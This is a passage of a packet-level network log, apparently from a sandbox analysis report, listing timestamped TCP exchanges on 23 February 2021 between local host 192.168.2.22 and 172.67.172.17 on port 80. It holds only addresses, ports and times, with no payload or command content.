Feb 23, 2021 16:55:00.299361944 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.299969912 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.300025940 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.300077915 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.300085068 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.300782919 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.300837994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.300844908 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.300894976 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.300942898 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.301516056 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.301575899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.301636934 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.301759005 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.302352905 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.302422047 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.302486897 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.302589893 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.303092957 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.303240061 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.303292036 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.303306103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.303878069 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.303946018 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.303977966 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.304003000 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.304053068 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.304569006 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.304625034 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.304676056 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.304677010 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.305439949 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.305496931 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.305543900 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.305548906 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.305605888 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.306094885 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.306149006 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.306199074 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.306205988 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.306835890 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.306888103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.306902885 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.306945086 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.306993008 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.307620049 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.307682037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.307730913 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.307738066 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.308401108 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.308454037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.308459997 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.308501959 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.308548927 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.309170961 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.309222937 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.309267998 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.309295893 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.309873104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.309930086 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.309964895 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.309984922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.310089111 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.310681105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.310736895 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.310785055 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.310787916 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.311383963 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.311436892 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.311455965 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.311491013 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.311570883 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.312158108 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.312297106 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.312354088 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.312400103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.312937021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.312988043 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.312995911 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.313034058 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.313079119 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.313680887 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.313730001 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.313776016 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.313790083 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.314457893 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.314507961 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.314521074 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.314555883 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.314600945 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.315191031 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.315246105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.315290928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.315303087 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.315964937 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.316014051 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.316019058 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.316065073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.316112995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.316781998 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.316845894 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.316900015 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.316906929 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.317481995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.317533016 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.317544937 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.317580938 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.317629099 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.318495035 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.318545103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.318586111 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.318593025 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.318962097 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319005013 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319015980 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.319046021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319086075 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.319536924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319596052 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319638968 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.319658995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319710970 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319750071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.319824934 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.320477009 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.320533037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.320574045 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.320580006 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.320754051 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.320800066 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.320801020 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.321377039 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.321460009 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.321466923 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.321506977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.321548939 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.321552992 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.321588039 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.321625948 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.322254896 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.322299957 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.322340965 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.322348118 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.322381020 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.322422028 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.322422028 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.323195934 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.323254108 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.323365927 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.323410034 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.323448896 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.323451996 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.323493958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.323535919 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.323559046 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.324307919 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.324351072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.324373960 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.324390888 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.324428082 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.324433088 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.324475050 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.324517012 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.332204103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.332257986 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.332299948 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.332351923 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.333645105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.333699942 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.333736897 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.333743095 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.333780050 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.333780050 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.335174084 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.335230112 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.335268021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.335303068 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.335371017 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.336764097 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.336807013 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.336839914 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.336843967 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.336880922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.336884022 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.338222980 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.338268995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.338290930 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.338304996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.338344097 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.338346004 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.340193033 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.340234995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.340264082 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.340270042 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.340295076 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.340296030 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.340322018 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.340359926 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.341747999 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.341787100 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.341813087 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.341834068 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.341840982 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.341869116 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.341872931 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.343569994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.343615055 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.343643904 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.343643904 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.343668938 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.343683958 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.343696117 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.343728065 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.344479084 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.344512939 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.344542980 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.344553947 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.344571114 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.344602108 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.344604015 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.346455097 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.346529007 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.346546888 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.346609116 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.346637964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.346642971 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.346662998 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.346715927 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.347290039 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.347332954 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.347363949 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.347388983 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.347389936 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.347410917 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.347424030 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.348797083 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.348824024 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.348846912 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.348865032 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.348867893 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.348886967 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.348889112 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.348929882 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.350512028 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.350537062 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.350559950 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.350580931 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.350579977 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.350603104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.350611925 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.351195097 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.351226091 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.351247072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.351268053 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.351267099 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.351280928 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.351289988 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.351320028 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.352811098 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.352834940 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.352855921 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.352873087 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.352876902 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.352899075 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.352907896 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.353614092 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.353645086 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.353667974 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.353667974 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.353689909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.353698969 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.353710890 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.353740931 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.354440928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.354468107 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.354490995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.354515076 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.354518890 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.354536057 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.354547024 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.354559898 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.354597092 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.356065989 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.356096983 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.356120110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.356134892 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.356141090 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.356162071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.356182098 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.356201887 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.356223106 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.357426882 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.357455015 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.357476950 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.357492924 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.357496977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.357522011 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.357527971 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.357543945 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.357578993 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.358977079 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.359004974 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.359026909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.359045029 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.359050035 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.359071970 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.359078884 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.359087944 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.359117031 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.360537052 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.360565901 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.360586882 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.360606909 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.360608101 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.360631943 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.360640049 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.360651970 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.360685110 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.362082005 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362113953 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362134933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362155914 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.362157106 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362179995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362190008 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.362201929 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362229109 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.362883091 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362910986 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362932920 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362951994 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.362953901 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362977982 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.362987041 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.362998962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.363049984 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.363759041 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.364329100 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.364373922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.364396095 CET	80	49166	172.67.172.17	192.168.2.22
